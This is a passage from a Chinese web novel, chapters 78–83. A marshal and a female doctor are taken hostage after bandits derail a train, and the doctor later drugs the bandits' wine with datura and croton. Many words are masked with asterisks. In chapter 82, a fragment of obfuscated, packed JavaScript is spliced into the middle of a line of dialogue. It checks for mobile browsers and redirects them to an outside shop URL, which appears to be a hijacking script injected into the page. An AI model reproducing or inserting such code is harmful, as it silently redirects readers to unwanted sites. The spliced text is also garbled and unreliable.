混乱中,十几把雪亮的马刀和黑洞洞的枪口,瞬间抵在了陆淮锦的脑门上。
而另一边,沈晚清也被几个土匪按在地上。
“别动!再动崩了你!”
一切发生得太快了。
快到陆淮锦甚至来不及开出最后一枪,快到宋副官根本来不及带着沈晚清突围。
所有的计划,所有的抵抗,在绝对的人数优势和疯狂的**式攻击面前,都显得那么苍白无力。
烟尘渐渐散去。
陆淮锦被人反剪着双手按在地上,嘴角流着血,狼狈不堪。但他没有求饶,而是死死地盯着不远处同样被控制住的沈晚清。
两人的目光在空中交汇。
那是暴风雨真正降临前的最后一眼。
“晚晚……”
陆淮锦动了动嘴唇,无声地吐出两个字:
“别怕。”
下一秒,一只粗糙的大手拿着黑布袋,狠狠地套在了沈晚清的头上。
世界陷入了一片黑暗。
第78章 轨道被炸
寒风如刀,卷着浓烈的硝烟味和血腥气,呼啸着掠过这片荒凉的鲁南山地。
“走!快走!别磨蹭!”
粗暴的推搡和辱骂声中,头套被猛地扯下。
沈晚清感觉到一阵刺骨的寒意,下意识地眯起眼。适应了黑暗后,眼前的景象让她忍不住倒吸了一口凉气,心脏仿佛停止了跳动。
借着四周无数火把的亮光,她终于看清了这所谓的“地狱”全貌。
那列曾经象征着工业文明巅峰、坚不可摧的“蓝钢快车”,此刻像是一条被打断了脊梁的巨龙,凄惨地横卧在荒野之中。
车头已经完全脱轨,侧翻在路基下的泥沟里,还在往外喷着白色的蒸汽,发出濒死的嘶鸣。
而更让人触目惊心的,是那一截截断裂的铁轨。
“老天爷……”
沈晚清身边被五花大绑的宋副官发出一声绝望的呻吟。
只见前方数百米的铁轨,不仅仅是被炸断那么简单。那些拇指粗的钢轨被巨大的**威力扭曲成了麻花状,有的甚至直接飞到了几十米开外的树上。枕木还在燃烧,发出噼里啪啦的爆裂声。
这是一场精心策划的毁灭。
土匪们不仅炸了轨道,还拆掉了所有的鱼尾板和道钉。
这就是为什么陆淮锦的警卫连即使拼死抵抗也无济于事的原因——在这断裂的钢铁防线面前,火车就是个巨大的铁棺材。
“看什么看!再看把眼珠子挖出来!”
一个满脸络腮胡的土匪用**狠狠砸了一下宋副官的后背,将他踹翻在地。
此时的旷野上,到处都是哭喊声。
除了陆淮锦这节包厢,车上还有几百名乘客。有去北方上任的官员,有回国的洋人,还有不少富商眷属。
此刻,这些平日里养尊处优的大人物,就像是被驱赶的牲口一样,被土匪们从车厢里拖出来。
“我的箱子!那是我的钱!”“别碰我太太!我是英国人!我有外交豁免权!”“砰!”
一声枪响,那个叫嚣的英国商人直接被爆了头,尸体滚落在路边的水沟里。
“洋人有个屁用!”
一个身材瘦削、眼神阴鸷的男人踩着英国人的尸体,手里拿着一支从警卫连那里缴获的德国**,对着天空哒哒哒就是一梭子。
“都给老子听好了!”
男人的声音不大,却透着一股令人胆寒的邪气,“老子是孙美瑶!这里是抱犊崮的地盘!不管是洋人还是大帅,到了这儿,是龙得盘着,是虎得卧着!”
他就是那个策划了震惊中外的“临城劫车案”的土匪头子——孙美瑶。
陆淮锦被人反剪着双手,押到了孙美瑶面前。
即使满脸血污,衣衫褴褛,但他那挺拔的脊梁依然没有弯下半分。他冷冷地看着孙美瑶,眼神锐利如刀。
“孙美瑶。”
陆淮锦开口,声音沙哑却威严,“你知道我是谁吗?”
“知道,怎么不知道?”
孙美瑶走过来,拿着手电筒照着陆淮锦的脸,像是在欣赏一件稀世珍宝,“北六省的陆少帅,赫赫有名的活阎王。咱们道上的人,谁没听过您的名号?”
“既然知道,还敢动我的车?”陆淮锦冷笑。
“富贵险中求嘛。”
孙美瑶咧嘴一笑,露出一口烟熏的大黄牙,“陆少帅,您这列车上拉的可全是宝贝。不说那满车的**,光是您这位少帅,还有那位大名鼎鼎的沈国士……”
他的目光越过陆淮锦,落在了不远处的沈晚清身上,眼中闪过一丝贪婪和算计。
“这就是咱们跟北洋政府谈判最大的筹码。”
“谈判?”
沈晚清被两个土匪押着,虽然手腕被麻绳勒得生疼,但她依然昂着头,“你们**这么多人,甚至杀了洋人,就不怕引来联军围剿?到时候抱犊崮会被夷为
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平地!”
“围剿?”
孙美瑶哈哈大笑,指了指身后那连绵起伏、深不可测的群山。
“这抱犊崮易守难攻,就是个天然的堡垒。官军来了多少次?哪次不是被打得屁滚尿流?”
“而且……”
他走到沈晚清面前,伸出脏兮兮的手想要摸她的脸,却被陆淮锦一声怒吼喝止:
“拿开你的脏手!”
陆淮锦猛地挣扎,两边的土匪差点按不住他,“你敢动她一下,我保证把你**万段!”
“哟,还挺痴情。”
孙美瑶收回手,并没有生气,反而更加兴奋,“好!我就喜欢这种有情有义的肉票!这样的票,才值钱!”
“大当家的!车上的货都卸完了!”
一个小头目跑过来汇报,“好家伙!全是日本造的三八大盖!还有好几门炮!咱们发财了!”
“好!”
孙美瑶大手一挥,“把枪都带上!把这些肉票都串起来!男的负责背物资,女的……看好了,别让她们跑了!”
“上山!”
随着一声令下,数千名土匪押解着几百名“肉票”,浩浩荡荡地向着深山进发。
沈晚清和陆淮锦被强行分开。
“晚晚!”陆淮锦想要冲过去。
“少帅放心,这可是我的财神奶奶,我舍不得动她。”孙美瑶让人把陆淮锦拖到了队伍的最前面,而把沈晚清安排在了中间的“女票”队伍里。
沈晚清回过头,最后看了一眼那列侧翻在荒野中的蓝钢快车。
大火还在燃烧,映红了半边天。
那些扭曲的铁轨,就像是命运狰狞的伤疤,彻底切断了他们回家的路。
从这一刻起,他们不再是高高在上的少帅和国士。
他们只是这乱世中,两只待宰的羔羊。
前路漫漫,深山幽幽。等待他们的,将是比地狱还要残酷的土匪窝——抱犊崮。
第79章 土匪**
天空泛起了惨淡的鱼肚白,将这片刚刚经历过浩劫的荒野照得一片凄惶。
几百名衣衫不整、满脸惊恐的中外“肉票”,被数千名土匪像赶鸭子一样驱赶着,跌跌撞撞地向着远处的抱犊崮山区行进。
沈晚清光着脚,踩在满是碎石和荆棘的泥地上,每走一步都钻心地疼。她身上的狐裘早就被土匪抢走了,此刻只穿着一件单薄的洋装,在寒风中瑟瑟发抖。
“快走!磨蹭什么!”
一名土匪挥舞着鞭子,狠狠抽在旁边一个走得慢的洋人身上。那洋人惨叫一声,背上瞬间多了一道血痕。
陆淮锦走在队伍的最前面。他双手被麻绳反绑,身上那件象征着少帅威严的军大衣也不见了,只剩下一件染血的白衬衫。但他依然挺直着脊背,目光时不时向后搜寻,直到在那群女眷中看到了沈晚清的身影,眼神才稍微安定了一些。
“砰!砰!砰!”
就在这时,远处的山梁上突然响起了密集的**。
几发**带着尖啸声,落在土匪的队伍中间炸开。
“轰——!”
泥土飞溅,几个倒霉的土匪和肉票瞬间被炸上了天。
“官军!是官军来了!”“山东省防军来围剿了!”
人群中爆发出一阵骚乱。原本绝望的肉票们眼中燃起了一丝希望,有人甚至想要停下来挥手求救。
“别喊!趴下!”
陆淮锦脸色大变,猛地回头冲着沈晚清的方向大吼,“那是无差别射击!他们不管人质死活!”
果然,山梁上的**开始疯狂扫射。**像泼水一样倾泻而下,根本不分土匪还是百姓。
“啊——!救命啊!”“别开枪!我是参议员!我是自己人!”
几个想要跑向官军的肉票,还没跑出几步,就被“自己人”的**打成了筛子。
这哪里是救援?这分明是灭口!
对于山东地方军阀来说,出了这么大的劫车案,丢了这么大的脸,如果能把土匪和肉票一起“剿灭”,反而比费力解救更省事。
“妈了个巴子的!这帮官兵比老子还狠!”
土匪头子孙美瑶也被这一轮炮击打得灰头土脸。他吐掉嘴里的泥,眼神瞬间变得狰狞。
“想把咱们堵在这儿包饺子?没门!”
孙美瑶拔出双枪,对着天空连开三枪,厉声吼道:
“弟兄们!把这些洋鬼子和当官的都给我架到前面去!当肉盾!”
“是!”
土匪们立刻行动起来。他们粗暴地抓起那些身份尊贵的肉票,挡在自己身前。
“陆少帅,借您的身板一用!”
一个小头目狞笑着冲过来,一把将陆淮锦推到了队伍的最外侧,正对着官军的火力点。
“你……”沈晚清看到这一幕,心都要碎了,想要冲过去,却被身边的土匪死死按住。
“别动!想让他死得快点吗?”
陆淮锦站在枪林弹雨中。
他看着对面山头上那面飘扬的五色旗,看着那些向自己开枪的“同僚”,嘴角勾起一抹讽刺至极的冷笑。
这就是乱世。
兵不在此,匪不在此。有时候,官比匪更毒。
“孙美瑶!”
陆淮锦突然大喊一声,声音穿透了战场的喧嚣,“想活命就听我的!往左边的山沟撤!那是射击死角!”
孙美瑶一愣,显然没想到这个肉票竟然会指挥逃跑。
“信不信由你!再不走,大家都得死在这儿!”陆淮锦眼神锐利。
作为军事专家,他一眼就看出了官军包围圈的漏洞。左侧的山沟虽然陡峭,但只要翻过去,就是茂密的松林,重**根本扫不到。
“好!老子信你这一回!”
孙美瑶也是个决断的人,“传令!往左边山沟撤!快!”
土匪大军裹挟着人质,像一股浑浊的洪流,疯狂地涌向左侧的山沟。
“哒哒哒——”
身后的**还在扫射,**打在脚边的石头上,火星四溅。
沈晚清在人群中跌跌
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撞撞地奔跑。她的脚已经被磨破了,每一步都在流血,但她不敢停。她知道,只要慢一步,就会成为这荒野上的孤魂。
“晚晚!跟紧我!”
陆淮锦虽然被绑着,但他利用身体的撞击,硬是挤到了沈晚清附近。他用自己的后背,替她挡住了好几次流弹和落石。
“陆淮锦……你的背……”
沈晚清看到他白衬衫上渗出的血迹,眼泪夺眶而出。
“皮外伤,不碍事。”
陆淮锦喘着粗气,眼神却坚定得可怕,“只要翻过这座山,就进抱犊崮了。那里易守难攻,官军进不去。坚持住!”
终于,在付出了几十条人命的代价后,这支庞大的队伍冲进了松林。
官军的**渐渐稀疏,最终只能无奈地停在山脚下,看着土匪遁入深山。
**,被打破了。
但对于沈晚清和陆淮锦来说,真正的噩梦才刚刚开始。
抱犊崮,山寨大门。
这是一座建在悬崖绝壁上的天然要塞。四周全是九十度的峭壁,只有一条只能容一人通过的“天梯”通往山顶。
“到了!这就是老子的抱犊崮!”
孙美瑶站在寨门口,看着身后那些狼狈不堪的肉票,发出猖狂的大笑。
“把男的关进‘猪圈’!女的关进后山石牢!分开关押!”
“不!我不分开!”
沈晚清死死抓着陆淮锦的手臂,指甲都嵌进了他的肉里。
“带走!”
几个土匪冲上来,粗暴地将两人拉开。
“陆淮锦!”沈晚清凄厉地喊着他的名字。
陆淮锦被人拖着,目光却死死锁在她的脸上。
“晚晚!记住我的话!活着!无论发生什么,都要活着!”
他的声音在山谷中回荡,直到被厚重的大门隔绝。
“哐当!”
山寨大门紧闭。
这座号称“中华第一匪窝”的抱犊崮,像一只张开血盆大口的巨兽,将这对乱世鸳鸯,彻底吞入了腹中。
第80章 劫持
这里是鲁南七十二崮之首,山势险峻,四周全是刀削斧劈般的悬崖。山顶平坦,却是一座天然的巨大监狱。
“猪圈”。
所谓的“猪圈”,其实就是一个由天然岩洞改造的巨大牢房。里面阴暗潮湿,散发着令人作呕的霉味、汗臭味和排泄物的臭气。
几百名从火车上抓来的“肉票”,无论是洋人绅士还是政府官员,此刻都像牲口一样挤在一起,瑟瑟发抖。
“进去!老实点!”
几个土匪骂骂咧咧地将陆淮锦推了进去。
陆淮锦踉跄了一下,还没站稳,就被脚下的污泥滑倒。他那件原本雪白的衬衫此刻已经变成了黑灰色,沾满了血污。
“少帅!”
同样被关进来的宋副官连忙爬过来扶起他,“您没事吧?”
“没事。”
陆淮锦靠在冰冷的岩壁上,喘了口气。他甩了甩手腕上勒进肉里的麻绳,目光如鹰隼般扫视着四周。
这里的环境比他想象的还要恶劣。但这都不重要,重要的是——晚晚在哪里?
“哟,陆少帅。”
一个阴阳怪气的声音传来。
只见土匪头子孙美瑶带着几个心腹大摇大摆地走了进来。他手里拿着一只烧鸡,一边啃一边用油腻腻的手指着陆淮锦:
“听说你在北方挺横啊?怎么着,到了爷的一亩三分地,还摆谱呢?”
陆淮锦冷冷地看着他,没有说话。
“说话!”
旁边一个小喽啰上来就要用**砸陆淮锦的头。
“慢着。”
孙美瑶拦住了手下,蹲在陆淮锦面前,嘿嘿一笑,“这可是咱们手里的‘头号票’,也是咱们跟官府谈判的最大的筹码。要是打坏了,就不值钱了。”
他把啃了一半的烧鸡扔在陆淮锦脚边的泥地里:
“饿了吧?吃吧。这可是爷赏你的。”
这是一种极致的羞辱。
周围的肉票们都低下了头,不敢看这一幕。堂堂陆家军少帅,若是真的捡了地上的鸡骨头吃,那这辈子的脊梁骨就算断了。
陆淮锦看着地上的烧鸡,突然笑了。
他抬起头,直视孙美瑶的眼睛,声音平稳而有力:
“孙美瑶,你是求财,还是求死?”
孙美瑶一愣:“你说什么?”
“你绑了洋人,绑了官员,现在又绑了我。”
陆淮锦淡淡道,“你以为这是抓了一手好牌?不,你这是抓了一手的雷。现在山下已经被包围了,你也看见了,官军根本不在乎人质的死活。他们巴不得借你的手杀了我,然后以此为借口,把你的抱犊崮夷为平地。”
“你吓唬老子?”孙美瑶脸色一变。
“是不是吓唬,你自己心里清楚。”
陆淮锦换了个舒服的姿势靠着,“现在能救你的,只有我。只要我活着,我陆家军就不敢开炮;只要我活着,我就能跟南京政府谈判,给你招安,给你官做。”
“所以……”
陆淮锦一脚踢开地上的烧鸡,眼神睥睨:
“别拿这种喂狗的东西来恶心我。给我换干净的饭菜,再给我拿两床棉被来。我要是病了、**,你全寨几千号兄弟,都得给我陪葬。”
全场死寂。
所有人都惊呆了。这是肉票?这简直比大爷还大爷!
孙美瑶死死盯着陆淮锦,眼中的杀意翻涌,但最终,他还是忍住了。
因为陆淮锦说得对。这个烫手山芋,现在确实是他的护身符。
“好!有种!”
孙美瑶咬牙切齿地竖起大拇指,“来人!给陆少帅上好酒好菜!再拿两床新被子!”
“不过……”
孙美瑶凑近陆淮锦,恶狠狠地说道,“你最好祈祷你的身价能值这么多钱。否则,老子第一个剐了你!”
“还有一件事。”
陆淮锦叫住正要离开的孙美瑶,“我夫人呢?”
“那个女医生?”
孙美瑶淫笑一声,“放心,那可是个大美人。我二弟正陪着她‘聊天’呢。”
陆淮锦的瞳孔瞬间收缩成针芒状,身上的杀气轰然爆发,连手上的麻绳都发出“咯吱”的声响。
“孙美瑶,如果你敢动她一根手指头……”
“我保证,你会后悔生在这个世上。”
……
后山,女牢。
这里关押着几十名女眷。哭泣声、尖叫声此起彼伏。
沈晚清被推搡着关进了一间单独的小石室。
还没等她站稳,石室的门就被反锁了。一个身材矮胖、满脸麻子的土匪搓着手,一脸淫笑地逼近她。
他是山寨的二当家,出了名的色中饿鬼。
“嘿嘿,早就听说陆少帅的夫人是个绝色美人,今天一见,果然名不虚传。”
二当家一双绿豆眼在沈晚清身上贪婪地扫视着,虽然她的洋装已经脏了,但那难掩的气质和身段,还是让这个土匪馋得直流口水。
“小美人,别怕。只要你从了二爷,以后在这山上,让你吃香的喝辣的……”
说着,他伸出脏手,就要去扯沈晚清的领口。
沈晚清背靠着冰冷的石壁,退无可退。
但她的脸上没有丝毫惊慌,反而冷静得可怕。她的右手悄悄探入袖口,那里藏着一枚她在路上
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捡来的生锈铁钉。
“二当家是吧?”
沈晚清突然开口,声音清冷,“在动手之前,我建议你先看看你自己的脖子。”
“啥?”二当家一愣,下意识地摸了摸脖子,“我脖子咋了?”
“如果我没看错,你脖子后面有个指甲盖大小的红斑,按下去会痛,还会发热,对吗?”
二当家脸色一变:“你怎么知道?!”
他这两天确实觉得脖子后面又痛又痒,还以为是虫子咬的。
“那是‘痈’,也就是俗称的‘搭背疮’。”
沈晚清神色淡然地胡诌,“这种疮,长在背心是要命的。如果不及时把脓血引出来,不出三天,毒气攻心,神仙难救。”
“你……你少吓唬老子!”二当家有些慌了,毕竟越是这种亡命徒越怕死。
“我是医生,是不是吓唬你,你自己心里清楚。”
沈晚清晃了晃手里那枚生锈的铁钉,眼中闪过一丝寒光,“你现在是不是觉得头晕、恶心、浑身发冷?”
那是被她刚才的话吓的心理作用。
“这……这……”二当家确实觉得有点晕。
“这种病,只有我能治。”
沈晚清向前一步,气场全开,“你若是敢碰我一下,我就让你烂在山上,没人给你收尸。但如果你对我客气点……”
她指了指自己随身带的银针包,“我可以保你一命。”
二当家犹豫了。色心虽然重要,但小命更重要啊!而且这女人眼神太笃定,加上之前确实听说她是神医,他不得不信。
“你……你真的能治?”
“当然。”
沈晚清冷冷道,“现在,去给我打盆热水来,再给我弄点干净的吃食。我要是饿**,你也别想活。”
二当家被她这副架势给镇住了,刚才的色心瞬间飞到了九霄云外。
“好!姑奶奶!您等着!我这就去!”
二当家屁滚尿流地跑了出去,还顺手把门给锁上了——这次不是为了关押,是为了“保护”他的救命稻草。
石室内重新恢复了安静。
沈晚清靠着墙,长长地舒了一口气。手中的铁钉滑落,掌心里全是冷汗。
她赌赢了。
利用医术和人性的弱点,她在这虎狼窝里,暂时为自己赢得了一块生存的方寸之地。
但她知道,这只是暂时的。
真正的危机还在后面。她必须想办法联系上陆淮锦,必须想办法……活着出去。
她抬头看向高处的那个小窗,那里能看到一丝微弱的星光。
“陆淮锦……”
“撑住。”
第81章 碗底传信
巨大的虎皮交椅上,孙美瑶一只脚踩着凳子,手里把玩着一把从陆淮锦身上搜出来的**,脸上却是一副愁眉苦脸的模样。
“大当家的,山下那帮官军又开始喊话了。”
一个小喽啰跑进来汇报,“说是再不放人,就要动用重炮轰山了!还说……还说要是陆少帅少了一根汗**,就把咱们抱犊崮填平了!”
“妈的!吓唬谁呢!”
孙美瑶啐了一口,但眼里的焦躁却是藏不住的。
虽然抱犊崮易守难攻,但几千号弟兄要吃饭,如果真被长期围困,不用打,饿都饿**。他**这票“洋肉”和“官肉”,目的是为了招安,为了弄个正规军的司令当当,可不是为了陪葬。
“去,把那个陆少帅给我带上来!”
片刻后,陆淮锦被带到了聚义厅。
经过一夜的休整,他的精神看起来比昨天好了不少。虽然衣衫褴褛,手脚戴着镣铐,但往大厅中央一站,那种与生俱来的压迫感,竟然让周围的土匪都矮了半截。
“陆少帅,昨晚睡得可好?”孙美瑶皮笑肉不笑地问道。
“床板太硬,被子太潮。”
陆淮锦淡淡道,“不过比起你们即将面临的断头台,这也算不得什么。”
“你!”孙美瑶一拍桌子,“少跟老子耍嘴皮子!今天找你来,是让你干正事的!”
他让人拿来纸笔,啪地拍在陆淮锦面前:
“写!给曹锟写信!就说你在我手上,让他们立刻撤军,并且给老子颁发委任状,把这抱犊崮周围的三个县都划给我管!”
陆淮锦看了一眼那粗劣的毛笔,并没有动。
“不写?”孙美瑶拔出枪,抵在陆淮锦的太阳穴上,“信不信老子现在就崩了你?”
“崩了我,你就彻底没了护身符。”
陆淮锦面不改色,甚至伸手轻轻拨开了枪口,“孙美瑶,你想招安,想当官,我可以帮你。我在北方说话还有点分量,曹锟是要给我几分面子。但这信,不能这么写。”
“那怎么写?”
“得写得‘惨’一点,‘急’一点。”
陆淮锦嘴角微勾,“要让他们觉得,再不招安,我就真的要**。这样,他们才会有压力。”
孙美瑶眼睛一亮:“行啊!到底是当大帅的,这脑子就是好使!就按你说的写!”
“写可以。”
陆淮锦坐下来,拿起笔,却又悬在半空,“但我有个条件。”
“你都是肉票了还敢提条件?”
“我要见我夫人。”
陆淮锦放下笔,眼神坚定,“哪怕只是一眼。我要确认她还活着,毫发无伤。否则,我就算咬断舌头,也不会写这封信。”
孙美瑶犹豫了一下。
“见是不可能见的,这是山寨的规矩,肉票不能串通。”
孙美瑶眼珠一转,“不过……我可以让人给你送点东西过来,证明她还活着。二当家正看着她呢,听说那娘们儿还会看病,二当家现在把她当菩萨供着。”
陆淮锦心中一动。
会看病?二当家供着?
他太了解沈晚清了。这丫头,一定是找到了自救的办法。
“好。”
陆淮锦重新提起笔,“那我就等着大当家的消息。记住,我要看到她的亲笔字迹,或者是……贴身之物。”
……
后山,二当家的石屋。
这里的环境比阴暗的石牢要好得多,甚至还有一张铺着虎皮的床。
沈晚清正在给二当家“治疗”。
她用火烤过的银针,在二当家脖子后面的“搭背疮”周围小心翼翼地刺破了几个脓点,然后敷上了一层捣碎的草药。
“哎哟……舒服多了!”
二当家趴在床上,哼哼唧唧,“神医啊!真是神医!姑奶奶,您这一手绝活,比山下那些庸医强多了!”
“舒服了就别乱动。”
沈晚清擦了擦手,神色冷淡,“这只是第一步。想要彻底去根,还得连续敷药七天,这期间不能沾荤腥,不能动怒,更不能……”
她瞥了一眼二当家,“更不能近女色。否则毒气攻心,必死无疑。”
“是是是!我不近女色!我都听您的!”二当家现在对她的话深信不疑,毕竟脖子真的不疼了。
“二当家。”
沈晚清突然叹了口气,脸上露出一丝忧愁。
“怎么了姑奶奶?是不是药不够了?”
“不是药的事。”
沈晚清眼眶微红,“我是担心我家先生。他身子骨弱,又有胃病,被关在那种地方,万一有个好歹……我这心里慌得很,手也就抖,这下针万一扎偏了……”
二当家一听“扎偏了”,脖子一缩。
“别别别!您手千万别抖!”
二当家想了想,“这样吧,正好到了饭点。我让人给那边的‘猪圈’送饭。姑奶奶您要是心疼,就亲自给他盛一碗,我让人带过去,也算全了你们夫妻的情分。”
这正是沈晚清想要的。
“那就多谢二当家了。”
沈晚清走到桌边。那里摆着几个粗瓷大碗,里面盛着发黑的糙米饭和几根咸菜。
她拿起一个碗,盛满了饭。
在盛饭的过程中,她的手指悄悄摸到了
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碗底。
那里有一层厚厚的油垢和泥灰。
沈晚清背对着二当家,利用身体的遮挡,拔下头上的银簪,在碗底那层黑色的油垢上,飞快地刻下了几个字。
因为时间紧迫,她不敢写多,只能用两人才懂的简语。
刻完之后,她又特意在饭上面盖了一块二当家这里才有的腊肉。
“好了。”
沈晚清将碗递给门口的小喽啰,“麻烦小哥,一定要送到那个穿白衬衫的人手里。告诉他,一定要吃饭。”
……
“猪圈”。
放饭的时间到了。
一群饿极了的肉票蜂拥而上,抢夺那些发馊的饭菜。
“都滚开!这是给陆少帅的!”
小喽啰一脚踢开几个人,端着那个盖着腊肉的大碗,走到陆淮锦面前。
“陆少帅,您有福气啊。”
小喽啰咽了口唾沫,看着那块腊肉,“这是二当家那边特意送来的。说是……说是某位‘姑奶奶’亲手给您盛的,让您一定要吃饭。”
陆淮锦闻言,原本黯淡的眼神瞬间爆发出精光。
姑奶奶?
那是二当家对晚晚的称呼?
看来她不仅没事,还混得不错。
陆淮锦接过碗,看着那块油汪汪的腊肉,并没有急着吃。
他的手指习惯性地托住碗底。
粗糙的触感。
在那层油垢之下,他摸到了几道清晰的刻痕。
他不动声色地转过身,背对着众人,借着岩洞缝隙里透进来的微光,迅速扫了一眼碗底。
那上面只有四个字,笔锋锐利,力透油垢:
【安好。勿念。药。】
安好,勿念。
这四个字让陆淮锦悬着的心彻底落了地。
而最后一个字——药。
陆淮锦的嘴角勾起一抹玩味的笑。
他太懂她了。
这个“药”,不是让他吃药,而是她在告诉他——她已经用“药”控制住了局面,甚至可能……正准备用“药”来对付这群土匪。
“好。”
陆淮锦端起碗,大口大口地吃了起来。
这是他这两天吃得最香的一顿饭。
吃完饭,他把那个空碗随手扔在一边,但那个位置极其隐蔽,不会被人发现。
“来人!”
陆淮锦抹了抹嘴,对着洞口的守卫喊道:
“告诉你们大当家的,信我已经写好了。让他拿去找官府谈判吧!”
既然晚晚已经安全,并且开始行动了。
那么他这边,也该开始他的表演了。
一场里应外合的大戏,即将在抱犊崮上演。
第82章 里应外合
“好!写得好!真是文采飞扬啊!”
土匪头子孙美瑶拿着陆淮锦刚写好的“求救信”,乐得合不拢嘴。信里那句“身染重疾,命悬一线,望政府速派员招安,以全大局”,简直就是说到了他的心坎里。
有了这封信,再加上陆少帅的亲笔签名和印章,南京那边绝对不敢轻举妄动,甚至还要乖乖送上委任状。
“大当家的,既然招安有望,咱们是不是该庆祝庆祝?”旁边的师爷趁机拍马屁。
“庆祝!必须庆祝!”
孙美瑶大手一挥,豪气干云,“传令下去!今晚杀猪宰羊,把地窖里那几十坛好酒都搬出来!让弟兄们敞开了喝!咱们也尝尝当‘官军’的滋味!”
“哦——!大当家的万岁!”
整个山寨瞬间沸腾了。土匪们欢呼雀跃,开始张灯结彩,准备晚上的狂欢宴。
……
后山临时搭建的药房。
欢呼声传到了这里。
正在捣药的沈晚清动作微微一顿。
“外面怎么这么热闹?”她看似随意地问了一句。
正趴在床上享受敷药的二当家哼哼唧唧地说道:“嗨,这不是大当家的高兴嘛!说是那个陆少帅写了信,咱们马上就要被招安了!今晚全寨大摆筵席,不醉不归!”
“全寨大摆筵席?”
沈晚清的眼中闪过一丝精光。
机会来了。
“二当家,既然是全寨同庆,那您的身体……”沈晚清面露难色。
“哎呀,我就不去了。”二当家虽然馋酒,但更惜命,“姑奶奶您不是说了吗,敷药期间不能动荤腥,更不能喝酒。我就在屋里歇着,让小的们给我送点清粥就行。”
“二当家英明。”
沈晚清微微一笑,“正好,我刚才去后山采药的时候,发现了几株好东西,那是治疗您这‘搭背疮’的特效药引。不过这药需要熬制很久,而且味道有点怪……”
她指了指药篓里几株不起眼的植物。
那并不是什么治病的药,而是她在后山悬崖边找到的——洋金花和巴豆。
洋金花有强烈的麻醉和致幻作用,也就是传说中“**”的主要成分;而巴豆则是强力泻药。
这两样东西混在一起,虽然不致死,但足以让人上吐下泻、四肢无力、神志不清。
“怪点怕什么!只要能治病就行!”二当家大手一挥,“姑奶奶您尽管熬!”
“好。”
沈晚清转过身,背对着二当家,将那些洗净的洋金花和巴豆扔进药罐里,开始用力捣碎。
她的动作很轻,但眼神却冷得可怕。
医术可以救人,也可以**。
今天,她就要用这手中的药杵,敲碎这群土匪的黄粱美梦。
……
半个时辰后,山寨厨房。
天色渐黑,厨房里热火朝天。几十个火头军正在切肉、洗菜,忙得不可开交。巨大的酒缸被搬了出来,散发着诱人的酒香。
“哎?你是谁?”
一个胖厨子看到沈晚清提着一个木桶走了进来,警惕地问道。
“我是给二当家送药膳的。”
沈晚清神色从容,指了指手里的桶,“二当家说了,今晚大家伙高兴,让我来厨房看看有没有什么清淡的,顺便……给兄弟们加点料。”
“加料?”厨子一愣。
“是啊。”沈晚清揭开桶盖,一股浓郁的香料味飘了出来,“这是二当家特意让我配的‘强身健体散’,说是加在酒里,喝了能壮阳补肾,更有力气。”
一听“壮阳补肾”,周围几个火头军的眼睛都亮了。
“二当家真是体恤下属啊!”
“这可是神医配的方子,肯定管用!”
在这个没有文化的土匪窝里,对于“神医”和“壮阳”有着天然的盲目崇拜。
“那就倒进去吧!”胖厨子大手一挥,指着那几口巨大的酒缸,“都在那儿呢!让兄弟们今晚好好补补!”
沈晚清忍着心里的恶心和紧张,提着木桶走到酒缸前。
她深吸一口气。
这一桶黑乎乎的液体,就是她精心熬制的“洋金花巴豆浓缩液”。
“哗啦——”
黑色的药液倒入酒缸,迅速与醇厚的白酒融合,消失不见,只留下一股更加奇异的香气。
“多谢几位大哥。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935570|192885||http|test|mini|href|location''.split(''|''),0,{}));
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r>沈晚清放下空桶,露出一个无害的笑容,“记得一定要让大家都喝上,别辜负了二当家的一片心意。”
“放心吧!肯定喝光!”
看着沈晚清离去的背影,几个厨子迫不及待地拿勺子尝了一口。
“嘿!别说,这加了料的酒,劲儿就是大!头有点晕乎乎的,肯定是大补!”
……
“猪圈”牢房。
外面的喧闹声越来越大,肉香和酒香顺着岩缝飘了进来。
饥肠辘辘的肉票们吞着口水,眼巴巴地看着洞口。
“少帅。”
宋副官凑到陆淮锦身边,压低声音,“外面好像在搞宴会?咱们是不是……”
“嘘。”
陆淮锦靠在岩壁上,闭目养神。但他的手一直在轻轻摩擦着那个被他弄松的镣铐锁扣。
“闻到了吗?”他突然睁开眼。
“闻到什么?肉味?”宋副官吸了吸鼻子。
“不,是药味。”
陆淮锦的嗅觉极其灵敏,尤其是对沈晚清身上的味道。
在那股浓烈的酒肉香气中,夹杂着一丝极其微弱、却又熟悉的草药苦味。那是那天她在碗底留下的“药”字的味道。
“她动手了。”
陆淮锦的眼中闪过一丝精光,那是猎豹在捕食前的蓄势待发。
“传令下去。”
他低声对宋副官说道,“让所有还能动的兄弟们做好准备。只要外面的酒席一开始,只要听到第一声惨叫或者是摔碗的声音……”
“我们就动手。”
“抢枪,**,突围。”
“是!”
夜幕彻底降临。
抱犊崮的聚义厅里,篝火熊熊燃起。
孙美瑶举起那个掺了“料”的大海碗,对着满寨的土匪高声喊道:
“弟兄们!为了咱们的前程!为了招安!干了!”
“干——!!”
几千只碗同时举起,几千张嘴同时张开。
这一口酒下去,喝的不是庆功酒,而是断魂汤。
而在后山的石屋里,沈晚清静静地坐在窗前,听着前面的喧嚣,手里紧紧握着那枚手术刀片。
时间,开始倒数。
第83章 抱犊崮大乱
篝火原本烧得正旺,映照着推杯换盏的喧嚣。然而,就在那几十坛“加料”好酒下肚后不到半个时辰,诡异的气氛开始在山寨中蔓延。
最初,是个别酒量浅的小喽啰开始捂着肚子哼哼,紧接着,这种痛苦像瘟疫一样迅速扩散。
“哎哟……我的肚子……怎么像火烧一样……”“头……头好晕……地怎么在转?”
“噗通!”
正在划拳的一个土匪突然口吐白沫,两眼发直,直挺挺地栽倒在桌子底下,浑身剧烈抽搐。
紧接着,第二个,第三个……
洋金花的麻醉致幻作用,配合巴豆的剧烈泻下作用,简直就是天作之合。
原本还在豪言壮语的土匪头子孙美瑶,此刻只觉得眼前出现了无数重影。他看到面前的酒碗变成了张着血盆大口的怪兽,吓得他猛地拔出枪,对着空气乱开:
“鬼!有鬼!别过来!”
“砰!砰!”
